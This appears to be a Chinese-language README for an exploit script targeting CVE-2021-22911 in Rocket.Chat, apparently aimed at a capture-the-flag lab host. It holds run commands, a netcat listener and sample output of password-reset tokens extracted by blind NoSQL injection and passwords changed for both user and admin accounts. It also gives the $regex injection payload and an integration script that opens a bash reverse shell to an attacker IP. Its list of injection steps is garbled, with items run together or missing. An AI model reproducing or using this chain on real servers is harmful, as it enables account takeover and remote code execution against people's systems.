
CVE-2021-22911 Rocket.Chat NoSQL注入远程代码执行漏洞利用 - 仅供教育目的
此漏洞利用仅供授权的渗透测试和教育目的。未经授权访问计算机系统是非法的。作者对任何滥用行为不承担责任。
CVE-2021-22911 是 Rocket.Chat 中一个严重的未经认证的 NoSQL 注入漏洞,可导致远程代码执行(RCE)。
此漏洞利用串联了三次 NoSQL 注入攻击:
$regex 运算符进行盲 NoSQL 注入,逐字符提取密码重置令牌child_process.exec() 生成反向 Shellpip install requests
nc -lvnp 4444
手动输入 IP:
python3 rocket_chat_exploit.py \
-u [email protected] \
-a [email protected] \
-t http://chat.rocket.thm \
-i 10.9.0.1 \
-p 4444
自动检测 tun0 IP(推荐):
python3 rocket_chat_exploit.py \
-u [email protected] \
-a [email protected] \
-t http://chat.rocket.thm \
-i $(ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1) \
-p 4444
参数说明:
-u:低权限用户邮箱(必须存在)-a:管理员邮箱-t:目标 URL(Rocket.Chat 实例)-i:攻击者 IP(tun0)-p:Netcat 监听端口============================================================
Rocket.Chat CVE-2021-22911 — RCE
Target : http://chat.rocket.thm
Shell : 10.9.0.1:4444
============================================================
[PHASE 1] Low-priv user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
[43/43] aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Token: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Password changed to: P@$$w0rd!1234
[PHASE 2] Admin user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
[43/43] XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Token: XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Password changed to: P@$$w0rd!1234
[PHASE 3] RCE
[!] Start your listener now: nc -lvnp 4444
[*] Press Enter when nc is ready...
[+] Authenticated as [email protected]
userid : userid123456789
token : token123456...
[+] Webhook created
http://chat.rocket.thm/hooks/hookid123/token456
[*] Triggering reverse shell...
[+] Trigger sent — check your nc listener
{
"message": {
"msg": "method",
"method": "getPasswordPolicy",
"params": [
{
"token": {
"$regex": "^abc"
}
}
]
}
}
class Script {
process_incoming_request({ request }) {
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"');
}
}
此工具仅供教育用途和授权安全测试。未经授权访问计算机系统违反《计算机欺诈与滥用法》(CFAA)及类似的国际法律,属于刑事犯罪。
请负责任地使用。仅测试您拥有或已获得明确书面许可的系统。